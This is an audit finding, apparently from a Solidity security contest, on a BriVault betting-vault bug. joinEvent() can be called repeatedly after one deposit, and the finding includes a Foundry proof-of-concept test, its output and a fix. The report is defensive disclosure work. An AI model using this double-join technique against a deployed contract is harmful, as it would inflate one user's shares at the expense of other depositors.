BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

A user can deposit() once but call joinEvent() multiple times using different countyIds

crazycelery

joinEvent() does not delete previously joined event details if a user joins multiple times with different countryIds + A user can joinEvent() on as many countries as they want with just a single deposit().

Description

  • joinEvent() should delete previously joined event details for a user if the same user calls joinEvent()j again.

  • The variables numberOfParticipants, usersAddress and userSharesToCountry do not remove the previous joined event when a user calls joinEvent() again.

    • A user can joinEvent() on as many countries as they want with just a single deposit().

function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
​
// Ensure countryId is a valid index in the `teams` array
if (countryId >= teams.length) {
revert invalidCountry();
}
​
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
​
@> // no check for whether user already joined event
​
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
​
usersAddress.push(msg.sender);
​
numberOfParticipants++;
totalParticipantShares += participantShares;
​
emit joinedEvent(msg.sender, countryId);
}
​

Risk

Likelihood:

  • A user makes a deposit() and then calls joinEvent()multiple times.

Impact:

  • A user can joinEvent() on as many countries as they want with just a single deposit().

Proof of Concept

Add test_joinEventTwice()to test/briVault.t.sol

function test_joinEventTwice() public {
​
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
​
vm.startPrank(user1);
​
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user1);
briVault.joinEvent(3);
​
console.log("briVault.userToCountry(address(user1))");
console.log(briVault.userToCountry(address(user1)));
console.log("numberOfParticipants original");
console.log(briVault.numberOfParticipants());
console.log("usersAddress original");
console.log(briVault.usersAddress(0));
console.log("userSharesToCountry[address(user1)][3] origiinal");
console.log(briVault.userSharesToCountry(address(user1), 3));
​
briVault.joinEvent(4);
​
console.log("");
console.log("numberOfParticipants after");
console.log(briVault.numberOfParticipants());
console.log("usersAddress after");
console.log(briVault.usersAddress(0));
console.log(briVault.usersAddress(1));
console.log("userSharesToCountry[address(user1)][3] after");
console.log(briVault.userSharesToCountry(address(user1), 3));
console.log("userSharesToCountry[address(user1)][4] after");
console.log(briVault.userSharesToCountry(address(user1), 4));
​
vm.stopPrank();
}
​

  • user1makes a 5 ether deposit()on line 10.

  • The first joinEvent()is called on line 11 on countryId 3.

  • The second joinEvent()is called on line 21 on countryId 4 which succeeds even though user1had already placed their bet on countryId 3.

  • The console.log()outputs show that indeed user1can bet shares on multiple countries with just a single deposit().

Run with

forge test -vvv --match-test test_joinEventTwice

Sample output

Ran 1 test for test/briVault.t.sol:BriVaultTest
[PASS] test_joinEventTwice() (gas: 1714989)
Logs:
briVault.userToCountry(address(user1))
Argentina
numberOfParticipants original
1
usersAddress original
0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF
userSharesToCountry[address(user1)][3] origiinal
4925000000000000000
numberOfParticipants after
2
usersAddress after
0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF
0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF
userSharesToCountry[address(user1)][3] after
4925000000000000000
userSharesToCountry[address(user1)][4] after
4925000000000000000
​

Recommended Mitigation

  • Add a check to see if the user msg.sender is already in usersAddressarray.

  • If it is revert with an userAlreadyJoined error.

+ error userAlreadyJoined();
​
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
​
// Ensure countryId is a valid index in the `teams` array
if (countryId >= teams.length) {
revert invalidCountry();
}
​
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
​
+ for (uint256 i = 0; i < usersAddress.length; ++i) {
+ address user = usersAddress[i];
+ if (user == msg.sender) {
+ revert userAlreadyJoined();
+ }
+ }
​
userToCountry[msg.sender] = teams[countryId];
​
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
​
usersAddress.push(msg.sender);
​
numberOfParticipants++;
totalParticipantShares += participantShares;
​
emit joinedEvent(msg.sender, countryId);
}
​
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Duplicate registration through `joinEvent`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!